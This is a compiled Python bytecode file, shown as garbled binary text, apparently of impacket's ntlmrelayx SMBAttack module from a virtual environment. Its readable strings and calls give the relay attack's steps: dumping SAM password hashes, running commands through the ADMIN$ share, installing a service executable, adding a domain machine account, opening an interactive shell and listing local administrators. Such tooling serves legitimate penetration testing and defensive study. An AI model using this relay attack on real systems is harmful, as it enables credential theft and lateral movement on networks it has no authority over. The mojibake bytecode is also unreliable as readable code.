o
    àý°j
-  ã                   @   sÈ   d dl mZ d dlmZmZ d dlmZmZ d dlm	Z	 d dl
mZmZ d dlmZ d dl mZmZ d dlmZ d d	lmZ d d
lmZ d dlmZ d dlmZ d dlZd dlZdZG dd„ de	ƒZdS )é    )ÚLOG)ÚtschÚicpr)ÚSMBTransportÚDCERPCTransport)ÚProtocolAttack)ÚICPRRPCAttackÚ	RPCAttack)ÚTcpShell)Úsmb3Úsmb)Úserviceinstall)ÚSMBConnection)ÚMiniImpacketShell)ÚDCERPCException)ÚsamrNÚ	SMBAttackc                   @   s0   e Zd ZdZdgZd
dd„Zdd„ Zdd	„ ZdS )r   zª
    This is the SMB default attack class.
    It will either dump the hashes from the remote target, or open an interactive
    shell if the -i option is specified.
    ÚSMBNc                 C   sB  t  | |||||¡ t|tjƒst|tjƒrt|d| _n|| _t	ƒ | _
| jj| _| jd ur| jdkr;d| _tj| _n| jdkrHd| _tj| _ntƒ ‚t d¡ t| j ¡ d| j| jd}| ¡ }t d	| j ¡ | ¡  | | j¡ t|||ƒ| _| j| j_d S | jjr‹tƒ | _ d S d | _ | jj!d urŸt" #|| jj!¡| _$d S d S )
N)ÚexistingConnectionÚTSCHz\atsvcÚICPRz\certzCreating Transporti½  )ÚfilenameÚsmb_connectionzConnecting to RPC named pipe %s)%r   Ú__init__Ú
isinstancer   r   r   ÚSMB3r   Ú_SMBAttack__SMBConnectionÚ	bytearrayÚ_SMBAttack__answerTMPÚconfigÚ
rpc_attackÚrpc_attack_modeÚpipenamer   ÚMSRPC_UUID_TSCHSÚuuidr   ÚMSRPC_UUID_ICPRÚNotImplementedErrorr   Úinfor   ÚgetRemoteHostÚget_dce_rpcÚconnectÚbindr	   ÚendpointÚinteractiver
   ÚtcpshellÚexeFiler   ÚServiceInstallÚinstallService)Úselfr   Ú	SMBClientÚusernameÚtargetÚrelay_clientÚrpctransportÚdce© r9   ú¡/root/aizidognhua/tmp/workspace/projects/ec89d86c-575f-41c9-af57-ac45cbdbf775/venv/lib/python3.10/site-packages/impacket/examples/ntlmrelayx/attacks/smbattack.pyr   +   s:   







ÿzSMBAttack.__init__c                 C   s   |  j |7  _ d S ©N)r   )r2   Údatar9   r9   r:   Ú__answerO   s   zSMBAttack.__answerc                 C   s  | j d urt d| j  ¡ | j ¡  d S | jd ur6t d| jj ¡ | j ¡  t| j	| jƒ| _
| j
 ¡  d S | jjd urS| j ¡ }|du rQt d¡ | j ¡  d S d S | jjd ur§ddlm} z1| j	 ¡ tjkr| j	 ¡  ¡ \}}|tjjO }| j	 ¡ j|d || j	dƒ}| | ¡ d	 ¡ W n% ty¶ } zd
t|ƒv r¤t d¡ t  t|ƒ¡ W Y d }~d S d }~ww t d¡ zÏt d| !¡  ¡ | jjsÛd "dd„ t#dƒD ƒ¡d  $¡ }n| jjd }t% &| '¡ | (¡ |t%j)t%j*¡}| jjrýt+| jjƒdk r
d "dd„ t#dƒD ƒ¡}	n| jjd	 }	z|d }
t%j,| '¡ |
d|	dddd W n ty@ } zt  dt|ƒ ¡ W Y d }~nd }~ww t% -| '¡ | (¡ |g¡}|d d d }t% .| '¡ | (¡ t%j/|¡}|d }
t% 0¡ }t%j1j2|d< t%j)|d d< t% 3| '¡ |
|¡ t d||	f ¡ W d S  ty¦ } zt  t|ƒ¡ W Y d }~d S d }~ww dd lm}m4} dd!l5m6} d }z-| j	 ¡ tjkrÙ| j	 ¡  ¡ \}}|tjjO }| j	 ¡ j|d || j	dƒ}| 7¡  W n‚ tyf } zud
t|ƒv rT| jj8rTt d" 9| j	 :¡  ;| jj<¡¡¡ || j	ƒ}z/| =¡ \}}t d# 9| j	 :¡  ;| jj<¡¡¡ |D ]}t d$ 9| j	 :¡  ;| jj<¡|¡¡ q'W n t>yL   t d¡ Y nw W Y d }~d S t  t|ƒ¡ W Y d }~d S d }~ww zz^| jj?d urœ| @| jj?¡ t d%| j	 :¡ ¡ | j	 Ad&d'| jB¡ | j	 Cd&d'¡ tD| jE F| jj<d(¡ƒ n)| G¡ }d|_H| I¡ }|||dd)}| J¡  | K| j	 :¡ d* ¡ t d+| j	 :¡ ¡ W n tyà } zt  t|ƒ¡ W Y d }~nd }~ww W |d urë| L¡  |d urö| L¡  d S d S |d ur| L¡  |d ur| L¡  w w ),NzRunning RPC attack %sz<Started interactive SMB client shell via TCP on 127.0.0.1:%dTzService Installed.. CONNECT!r   )ÚRemoteOperations)Úflags2Fé   Úrpc_s_access_deniedzSAMR access deniedz Machine account addition via SMBzTarget domain SID: Ú c                 s   s    | ]	}t  tj¡V  qd S r;   )ÚrandomÚchoiceÚstringÚascii_letters©Ú.0Ú_r9   r9   r:   Ú	<genexpr>~   s   € z SMBAttack.run.<locals>.<genexpr>é   ú$é   c                 s   s&    | ]}t  tjtj d  ¡V  qdS )z.,;:!$-_+/*(){}#@<>^N)rC   rD   rE   rF   ÚdigitsrG   r9   r9   r:   rJ   ˆ   s   €$ é   Ú
UserHandleÚ 31d6cfe0d16ae931b73c59d7e0c089c0)ÚoldPasswordÚnewPasswordÚoldPwdHashNTÚnewPwdHashLMÚnewPwdHashNTzError with password setup:
ÚRelativeIdsÚElementÚtagÚControlÚUserAccountControlz6Successfully added machine account %s with password %s)r>   Ú	SAMHashes)ÚEnumLocalAdminszNRelayed user doesn't have admin on {}. Attempting to enumerate users who do...zOHost {} has the following local admins (hint: try relaying one of them here...)zHost {} local admin member: {} z&Executed specified command on host: %szADMIN$zTemp\__outputÚreplace)ÚisRemoteÚ
_samhashesz$Done dumping SAM hashes for host: %s)Mr!   r   r'   r    Úrunr.   ÚportÚlistenr   r   ÚshellÚcmdloopr   r/   r1   ÚinstallÚ	uninstallÚaddComputerSMBÚimpacket.examples.secretsdumpr>   Ú
getDialectr   ÚSMB_DIALECTÚgetSMBServerÚ	get_flagsr   ÚFLAGS2_LONG_NAMESÚ	set_flagsÚconnectSamrÚgetMachineNameAndDomainÚ	ExceptionÚstrÚerrorÚgetDomainSidÚjoinÚrangeÚupperr   ÚhSamrCreateUser2InDomainÚgetSamrÚgetDomainHandleÚUSER_WORKSTATION_TRUST_ACCOUNTÚUSER_FORCE_PASSWORD_CHANGEÚlenÚhSamrChangePasswordUserÚhSamrLookupNamesInDomainÚhSamrOpenUserÚMAXIMUM_ALLOWEDÚSAMPR_USER_INFO_BUFFERÚUSER_INFORMATION_CLASSÚUserControlInformationÚhSamrSetInformationUser2r\   Ú'impacket.examples.ntlmrelayx.utils.enumr]   ÚenableRegistryÚenumLocalAdminsÚformatr(   ÚencodeÚencodingÚgetLocalAdminsr   ÚcommandÚ _RemoteOperations__executeRemoteÚgetFileÚ_SMBAttack__answerÚ
deleteFileÚprintr   ÚdecodeÚ
getBootKeyÚ!_RemoteOperations__serviceDeletedÚsaveSAMÚdumpÚexportÚfinish)r2   Úresultr>   Úflags1r?   Ú	remoteOpsÚeÚcomputerNameÚ
createUserrS   Ú
userHandleÚcheckForUserÚuserRIDÚopenUserÚreqr\   r]   Ú	samHashesr‰   ÚlocalAdminSidsÚlocalAdminNamesÚnameÚbootKeyÚsamFileNamer9   r9   r:   ra   R   sö   






þ
€ü
"
ÿ€ÿ€ÿ
 
 &ÿÿ€ñ€€ÿ€

ÿ
þ

ÿzSMBAttack.run)NN)Ú__name__Ú
__module__Ú__qualname__Ú__doc__ÚPLUGIN_NAMESr   r‘   ra   r9   r9   r9   r:   r   $   s    
$)Úimpacketr   Úimpacket.dcerpc.v5r   r   Úimpacket.dcerpc.v5.transportr   r   Ú$impacket.examples.ntlmrelayx.attacksr   Ú.impacket.examples.ntlmrelayx.attacks.rpcattackr   r	   Ú+impacket.examples.ntlmrelayx.utils.tcpshellr
   r   r   Úimpacket.examplesr   Úimpacket.smbconnectionr   Úimpacket.examples.smbclientr   Úimpacket.dcerpc.v5.rpcrtr   r   rC   rE   ÚPROTOCOL_ATTACK_CLASSr   r9   r9   r9   r:   Ú<module>   s    